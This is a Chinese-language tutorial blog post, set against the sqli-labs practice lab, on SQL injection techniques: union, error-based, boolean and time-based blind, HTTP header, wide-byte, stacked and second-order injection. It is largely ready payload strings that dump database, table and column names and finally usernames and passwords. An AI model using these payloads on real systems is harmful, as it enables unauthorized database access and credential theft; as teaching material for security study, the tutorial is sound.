sql注入手法详解

2023-11-01

sql定义

sql--结构化查询语句

sql注入:首先我们通过前端将我们的payload(恶意代码)传送到后台服务器 传送到后台以后 我们提交的payload拼接到sql语句中 作为sql语句的一部分被执行 从而导致数据库又被脱库甚至删库的风险 使得数据库受损

sql注入手法

sql注入可以根据不同的标准进行分类

通过参数类型分类

1.数字型:如果某个参数存在注入而且参数值属于数字型的话 那么这种就被称为数字型注入

eg:select * from users where id=1;

数字型扩展:就是说参数值属于数字型 但是可能包含外围的括号(可能是一个 也可能是两个)我们得考虑到这种况

eg:select * from users where id=(1);

2.字符型:如果某个参数存在注入而且参数值属于字符型的话 那么这种就被称为字符型注入

(1)单引号字符型:外包裹是一对单引号 这个时候被称为单引号字符型注入

eg:select * from users where id='1';

(2)双引号字符型:外包裹是一对双引号 这个时候被称为双引号字符型注入

eg:select * from users where id="1";

字符型扩展:参数值属于字符型 但是可能存在外围的括号(可能是一个 也可能是两个)

eg:select * from users where id=('1');

通过注入手法分类

1.联合注入:

具体可以分成以下几个步骤:

以下部分结合sqli-labs/Less-1来讲

(1)判断页面是否可以进行联合注入手法:

我们输入?id=1 查看以下页面

 

 

可以看到页面对于我们的正确注入产生了相应的回显 所以可以进行联合注入

(2)接着判断一下注入点结构:

我们可以输入?id=1 and 1=2判断一下注入类型是否属于数字型 怎么理解为什么要输入这句话呢

我们结合sqlyog进行讲解

如果参数类型属于数字型的话 那么输出结果如下所示

首先先来看看没有条件下的查询语句及结果

 

 

然后看看加了条件并且注入类型为数字型的查询语句及结果

原理:由于and优先级大于= 所以先会执行1 and 1执行结果为1 然后执行1=2 执行结果为0 所以查询条件为id=0 当然查询不到结果

那么如果参数类型为字符型的话 查询结果及语句如下所示:

 

 

 

原理:由于id本身属于数字型 然后你传入一个字符型 就会发生类型转化操作 '1 and 1=2'会被转换为1

判断完注入类型后 如果是属于数字型的话 那么要输入?id=1--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么就说明注入点包含括号 接下来就要判断一下是包含一个括号还是两个括号 分别输入?id=1)--+/# ?id=1))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们输入的那样

如果是属于字符型的话 那么要输入?id=1'/1"--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么说明注入点包含括号 接下来要判断一下是包含一个括号还是两个括号 分别输入?id=1')/1")--+/# ?id=1'))/1"))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们的输入的那样

假设接下来的操作字段数为3

(3)接下来开始爆回显位顺便爆字段数 如果字段数不符合数据库中的实际字段数 那么就会报错 然后记得靶场的回显只能是一条 如果主查询存在回显的话 那么次查询就看不到查询结果了 所以我们应该让主查询无法返回查询结果 一般都设置为0或-1 如果后台服务器对注释符进行过滤操作 那么-会被当作注释符过滤掉 所以这个时候我们只能写成0

eg:?id=xx union select 1,2,3--+/#

假设接下来的回显位为2和3

(4)接下来爆库/版本号

eg:?id=xx union select 1,database(),version()--+/#

(5)接着进行爆表

eg:?id=xx union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+/#

(6)接着进行爆字段操作

eg:?id=xx union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx' and table_schema=database()--+/#

(7)接着进行爆用户名和密码操作

eg:?id=xx union select 1,2,group_concat(username,password) from xxx--+/#

这样一个完整的脱库操作就完成了

2.报错注入

(1)首先要先判断一下是否能够进行报错注入

当我们进行了错误注入后 页面会对我们的注入有报错信息的反应 将报错信息回显在页面上

(2)然后判断一下注入点的结构:

这个可以参考联合注入里面的注入点判断 我那个写的很清楚了

(3)接下来可以通过报错注入进行各种爆破操作

我介绍以下三种方式:

group by重复键冲

如果一个表格储存的数据>=3 那么输入以下语句就会报错 下面这个例子通过重复键冲进行爆库操作

select count(*),concat(floor(rand(0)*2),database())x from xxx group by x;

extractvalue()函数

这个例子通过extractvalue()函数进行爆库操作

extractvalue(1,concat(0x7e,database(),0x7e))--+

updatexml()函数

这个例子通过updatexml()函数进行爆库操作

updatexml(1,concat(0x7e,database(),0x7e),1)--+

3.布尔盲注

(1)首先先要判断一下当前关卡是否能够进行联合注入和报错注入 因为这两个方法的执行效率实在比布尔盲注高得多 如果正确注入后没有回显位 错误注入后没有错误信息的话 那么就只能使用布尔盲注了

(2)接下来要进行的是判断注入点结构 这个可以参考联合注入里面的注入点结构判断 其实大体上都是一样的 只不过他不能显示查询的结果和报错信息了 但是他还是可以对我们的注入进行页面的辨别

(3)接下来要进行的是爆数据库的长度的操作

length(database())=xxx--+

(4)然后进行爆数据库的名称 这里我就以爆首字母为例

ascii()--可以将字符转换成对应的ascii码值

substr()--可以截取字符串

ascii(substr(database(),1,1))=xxx--+

(5)然后进行的是爆表格的个数操作

(select count(*) from information_schema.tables where table_schema=database())=xxx--+

(6)然后进行爆表格名称的个数 这里第一个表格为例

(select length(*) from information_schema.tables where table_schema=database() limit 0,1)=xxx--+

(7)然后进行爆表格名称 这里以第一个表格首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=xxx--+

(8)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_name=xxx and table_schema=database())=xxx--+

(9)接着进行爆字段名称个数 这里以第一个字段为例

(select length(*) from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1)=xxx--+

(10)接着进行爆字段名称操作 这里以第一个字段首字母为例

ascii(substr((select column_name from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1),1,1))=xxx--+

(11)最后进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx--+

从上面一大段的东西你就可以知道这个注入手法有多麻烦了吧 所以我建议你们使用脚本进行爆破操作 脚本可以参考我前面写的布尔盲注脚本文章CSDN

4.时间盲注

(1)这个注入手法使用与那些对于正确注入和错误注入都显示一样页面的题目 当你怎样注入页面都不会改变的时候 这个时候得使用时间盲注

(2)判断注入点的结构 这个不可以参考联合注入的注入点结构判断 因为无论如何就只有一种页面反馈

我们具体的做法如下所示

如果想要知道是不是数字型注入的话 那么输入?id=1 and sleep(10)--+ 如果页面响应了很久 那么就属于数字型注入

如果想要知道是不是单引号字符型注入的话 那么输入?id=1' and sleep(10)--+ 如果页面响应了很久 那么就属于单引号字符型注入

如果想要知道是不是双引号字符型注入的话 那么输入?id=1" and sleep(10)--+ 如果页面响应了很久 那么就属于双引号字符型注入

至于有无扩展的话 依旧是按照同样方法进行判断

(3)时间注入的写法有两种

一种是和布尔盲注结合 比如想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

length(database())=xxx and sleep(10)--+

一种是和条件注入以及布尔盲注相结合 比如还是想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

if(length(database())=xxx,sleep(10),1)--+

(4)接着开始爆数据库的长度

length(database())=xxx and sleep(10)--+

(5)接着爆数据库的名称 这里以首字母为例

ascii(substr(database(),1,1))=xxx and sleep(10)--+

(6)接着进行爆表格个数的操作

(select count(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(7)接着进行爆表格名称的个数 这里以第一个表格为例

(select length(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(8)接着进行爆表格名称操作 这里以第一个表格的首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database())=xxx limit 0,1),1,1))=xxx and sleep(10)--+

(9)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_schema=database() and table_name='xxx')=xxx and sleep(10)--+

(10)接着进行爆字段名称个数 这里以第一个表格为例

(select length(*) from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1)=xxx and sleep(10)--+

(11)接着进行爆字段名称操作 这里以第一个表格的首字母为例

ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1),1,1))=xxx and sleep(10)--+

(12)接着进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx and sleep(10)--+

5.http头注入

http头包括一些常见的注入点 比如user-agent、referer、cookie

但是这些东西最好通过抓包后再去进行修改或者判断

然后注入手法还是通过前面四个中去挑选即可 也就是说http头注入实际上应该和前四个注入搭配使用才能够进行后续的操作

注入手法判断完以后 剩余操作可以根据各自的手法进行爆破

6.宽字节注入

什么叫做宽字节 就是有些字符集中的部分字符得用两个字符或者两个以上字符表示 比如在gbk中 汉字用两个字节表示 在utf-8中 汉字用三个字节表示

为什么会有宽字节注入?因为我们将参数值提交到后台服务器后 如果后台服务器存在转义操作的话 那么这时候就要通过宽字节注入将转义操作需要的反斜杠一并组成一个宽字节 然后帮助反斜杠后面的字符逃逸

常见的宽字节注入:

%df%5c

%bb%5c

%c0%5c

……

后续我会在做一篇有关宽字节注入的文章

7.堆叠注入

在sql中;表示sql语句的结束

所以我们可以利用;来对两句sql语句进行分隔 并且同时执行两句sql语句

eg:select * from demo;update demo set username='xxx' where id=xxx;

但是堆叠注入也有其局限性:

比如说两句sql都是查询语句 那么只能显示第一条sql查询语句结果

8.二次注入

可以参考我以前写的关于sqli-labs/Less-24关的文章

CSDN

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入手法详解 的相关文章

  • 优化 SQL Server 上的删除

    Deletesql server 上的有时很慢 我经常需要优化它们以减少所需的时间 我一直在谷歌上搜索一些关于如何做到这一点的提示 并且我发现了各种各样的建议 我想知道你最喜欢和最有效的驯服删除野兽的技术 以及它们如何以及为什么起作用 到目
  • 在单个 select 语句中多次有条件地求和同一列?

    我有一个表 显示每个月在给定位置的各种类型的部署的员工部署情况 ID Location ID Date NumEmployees DeploymentType ID 例如 一些记录可能是 1 L1 12 2010 7 1 Permanent
  • MySQL“LIKE”搜索不起作用

    我通过 LOAD DATA INFILE 在 MySQL 中导入了一个 txt 数据库 一切似乎都正常 唯一的问题是 如果我使用以下查询在数据库上搜索记录 SELECT FROM hobby WHERE name LIKE Beading
  • 如何在 DB2 AS/400 中将小数字段转换为日期字段?

    我有一个 DECIMAL 字段 其中包含 AS400 格式的日期 1100614 我努力了 cast MYDATE as DATE 但我无法将 DECIMAL 转换为 DATE 而 DATE MYDATE 返回空值 如何将此字段转换为日期字
  • 不带 GROUP BY 的聚合查询

    这个查询似乎在我的旧机器上完美运行 但是 在我的 MySQL 5 7 14 和 PHP 5 6 25 的新机器上 它会抛出错误 致命错误 未捕获异常 PDOException 并带有消息 SQLSTATE 42000 语法错误或访问冲突 1
  • 什么时候应该使用 C++ 而不是 SQL?

    我是一名 C 程序员 偶尔使用 MySQL 来处理数据库 但我的 SQL 知识相当有限 但我肯定愿意改变这一点 目前 我正在尝试仅使用 SQL 查询对数据库中的数据进行分析 但我准备放弃了 转而将数据导入到C 中 用C 代码进行分析 我和同
  • Reporting Services 在哪里存储其日志文件

    最相关的谷歌结果似乎表明 为了访问日志 我们必须将您自己的日志表部署到数据库并制作报告服务写入它 http technet microsoft com en us library ms157403 aspx 简而言之 Reporting S
  • 如何搜索例程的内容/(SP-触发函数)

    我需要在数据库内所有例程的例程主体 存储过程 函数 触发器 中搜索文本 我该怎么做 Thanks SELECT OBJECT NAME object id FROM sys sql modules WHERE definition LIKE
  • 如何通过子 POJO 的属性过滤复合 ManyToMany POJO?

    我有两个像这样的房间实体 Entity public class Teacher implements Serializable PrimaryKey autoGenerate true public int id ColumnInfo n
  • 在 SQL Server 上执行分页的最佳方式是什么?

    我有一个数据库超过200万记录 我需要执行分页以在我的 Web 应用程序上显示 该应用程序每页必须有 10 条记录DataGrid 我已经尝试使用ROW NUMBER 但是这种方式会选择所有 200 万条记录 然后只得到 10 条记录 我也
  • 内置函数将每个单词的第一个字母大写

    如果 SQL Server 中已存在此类函数 我不想为此创建自定义函数 输入字符串 This is my string to convert预期输出 This Is My String To Convert SET ANSI NULLS O
  • 提高第一个查询的性能

    如果执行以下数据库 postgres 查询 则第二次调用要快得多 我猜第一个查询很慢 因为操作系统 linux 需要从磁盘获取数据 第二个查询受益于文件系统级别和 postgres 中的缓存 有没有一种方法可以优化数据库以快速获得结果fir
  • 使用子查询 select 创建新表

    我试图从子查询选择创建一个新表 但出现以下错误 附近的语法不正确 SELECT INTO foo FROM SELECT DATEPART MONTH a InvoiceDate as CalMonth DATEPART YEAR a In
  • 如何从 SQL Server 2008 查询结果中删除“NULL”

    我有一个包含 59 列和超过 17K 行的表 很多行都有NULL在某些列中 我想删除NULL以便查询返回空白 而不是NULL 我可以运行一些更新功能来替换所有NULL with 使用 SQL Server 2008R2 Management
  • SQL查询查找表的主键?

    我怎样才能找到哪一列首要的关键使用查询来创建表 这是重复的question https stackoverflow com questions 893874 mysql determine tables primary key dynami
  • MYSQL从每个类别中随机选择一条记录

    我有一个数据库Items表看起来像这样 id name category int 有几十万条记录 每个item可以是 7 种不同的之一categories 对应于categories table id category 我想要一个从每个类别
  • 我不断收到错误“关系 [TABLE] 不存在”

    我一直在尝试查询数据库中的两个表 在服务器资源管理器中 我可以看到两个表 甚至可以看到其中的列 我们将它们称为 Schema table1 和 Schema table2 其中 Schema 的第一个字母大写 我尝试运行以下查询 selec
  • 如何使用 BigQuery 有效地选择另一个表中匹配子字符串的记录?

    我有一个包含数百万个字符串的表 我想将其与包含大约两万个字符串的表进行匹配 如下所示 standardSQL SELECT record FROM record JOIN fragment ON record name LIKE CONCA
  • 如何部署“SQL Server Express + EF”应用程序

    这是我第一次部署使用 SQL Server Express 数据库的应用程序 我首先使用实体 框架模型来联系数据库 我使用 Install Shield 创建了一个安装向导来安装应用程序 这些是我在目标计算机中安装应用程序所执行的步骤 安装
  • SQL 更新 - 更新选定的行

    我正在使用 SQL Server 2008 我有一个名为MYTABLE有两列 ID STATUS 我想编写一个存储过程来返回其记录STATUS是 0 但是这个存储过程必须更新STATUS返回行数为 1 如何在单个查询中执行此选择和更新操作

随机推荐

  • STM32都学什么

    一 什么是STM32 对于STM32 从字面意思上来理解 ST是意法半导体 M是Microelectronics的缩写 其中32表示的是32位 那么整合起来理解就是 STM32就是指的ST公司开发的32位微控制器 在如今的32位控制器中 S
  • ChatGLM-6B微调,P-Tuning,LoRA,Full parameter

    官方教程 ChatGLM 6B 微调 P Tuning LoRA Full parameter 哔哩哔哩 bilibili我们详细介绍了GLM的技术背景 以及ChatGLM 6B的微调方案 包括P tuning LoRA Full Para
  • innodb简单优化

    innodb flush log at trx commit sync binlog 双1标准 innodb flush log at trx commit 1 sync binlog 1 innodb flush log at trx c
  • 怎么在网页中添加一个AI机器人且点击后还会讲话

    效果如下 该页面是本人参加人工智能比赛的一个项目页面展示 页面可以悬浮一个机器人 鼠标点击他就能够智能语音播报 目前只能通过360浏览器访问 等参加完比赛再写具体实现步骤 如有需要源码可以评论联系本人
  • 量化投资学习-32:每一波调整的本质

    在每一轮牛市中 都会经历大致三波的上涨 每一波上涨中间都会经历1 2个月的时间调整 调整的深度在20 左右 为什么经历这种调整的 调整的目的是什么 常听到的观点就是 涨久了 就会跌 调制的目的是洗盘 洗掉浮筹 为了后期更好的上涨 所以散户最
  • gw在计算机网络里面_GW 是什么意思?

    GW是Gateway的英文缩写 即网关 又称网间连接器 协议转换器 网关在网络层以上实现网络互连 是最复杂的网络互连设备 仅用于两个高层协议不同的网络互连 网关既可以用于广域网互连 也可以用于局域网互连 是一种充当转换重任的计算机系统或设备
  • Tone Mapping中luma滤波(降噪)对噪声放大的定性分析

    Tone Mapping中luma滤波对噪声放大的定性分析 在tone mapping过程中 通常经过统计之后得到一条mapping曲线 记这条曲线为 f x f x f x mapping过程中 对于给定的点 假定其亮度为
  • Oracle GoldenGate 将 SQLServer 数据实时同步到 ORACLE

    Oracle GoldenGate 简称 OGG 使在不同关系型数据库之间能进行实时同步复制可谓非常强大 OGG 支持 oracle sql server mysql db2 Sybase 等关系数据库直接的数据复制 OGG 这种灵活特性能
  • 计算机网络基础知识总结

    计算机网络学习的核心内容就是网络协议的学习 网络协议是为计算机网络中进行数据交换而建立的规则 标准或者说是约定的集合 因为不同用户的数据终端可能采取的字符集是不同的 两者需要进行通信 必须要在一定的标准上进行 一个很形象地比喻就是我们的语言
  • Arduino学习模拟输出

    1 实现效果 通过两个按键可以控制led变亮或者变暗 boolean pushButton1 定义布尔型变量存储按键1的状态 boolean pushButton2 定义布尔型变量存储按键2的状态 int ledPin 9 LED引脚号 i
  • Python3 面向对象

    Python从设计之初就已经是一门面向对象的语言 正因为如此 在Python中创建一个类和对象是很容易的 本章节我们将详细介绍Python的面向对象编程 如果你以前没有接触过面向对象的编程语言 那你可能需要先了解一些面向对象语言的一些基本特
  • 数据库备份和恢复

    这里介绍两种方法 1 mysqldump mysqldump不需要登录到数据库中就可以备份和恢复库和表 1 备份 mysqldump uroot p 123123 mytest gt mnt mytest bak date F sql 注意
  • Django学习 day4

    今天学习了简单的用户登录界面 也是对template的简单初探 Django有个叫模板 Template 的东东 可以直接把你的Html代码写在模板里 返回给浏览器 模板初探 使用模板的两个步骤 配置存html文件的模板目录 在你的view
  • html5期末大作业课程设计仿苹果官网(源码+报告)

    页面展示 下面有下载地址 免费哦 链接 https pan baidu com s 1 5ZDXVZmM64ALY2i31Hwfg 提取码 vtrk 一 需求分析 设计目的 一 可行性分析 时代背景 根据中国互联网络信息中心 CNNIC 在
  • 【教程】电信光猫烽火HG5140A怎么改桥接模式,telecomadmin超级密码

    一 背景 坐标杭州 宽带移机 师傅给我换了个战未来的 支持万兆的光猫 以前我是依据型号网上搜索搞到超级管理员用户就行桥接的 给我换了这个新光猫后 自己死活折腾不出来 二 正文 以前大家都习惯用超级管理员进入光猫 改桥接模式 利用光猫的安全漏
  • libevent中event_base_loopbreak与BEV_OPT_DEFER_CALLBACKS

    最近用C 和libevent改写了一个多线程网络服务器应用 大体框架是前端一个tcp连接监听线程 接收到连接后将socket随机交给一个后台工作线程做进一步处理 所有的线程均使用event base loop事件循环 其中有这样一个需求 我
  • Flink实战: 窗口TopN分析与实现1

    Flink实时计算topN热榜 主要思路可以这样做 可以继续优化的地方有 1 最后的processFunction中注册定时器在processElement方法中就要将ListState存储换掉 换成ValueState 不过是List类型
  • 最小二乘法曲线拟合

    最小二乘法曲线拟合以及Matlab实现 在实际工程中 我们常会遇到这种问题 已知一组点的横纵坐标 需要绘制出一条尽可能逼近这些点的曲线 或直线 以进行进一步进行加工或者分析两个变量之间的相互关系 而获取这个曲线方程的过程就是曲线拟合 目录
  • rtplib在linux上的编译安装

    JRTPlib简介 在http www tekuba net program 10 中提到过RTP的例程 这里参考网络上的资料给出JRtpLIB的嵌入式arm环境以及桌面环境开发环境的建立 RTP 是目前解决流媒体实时传输问题的最好办法 要
  • sql注入手法详解

    sql定义 sql 结构化查询语句 sql注入 首先我们通过前端将我们的payload 恶意代码 传送到后台服务器 传送到后台以后 我们提交的payload拼接到sql语句中 作为sql语句的一部分被执行 从而导致数据库又被脱库甚至删库的风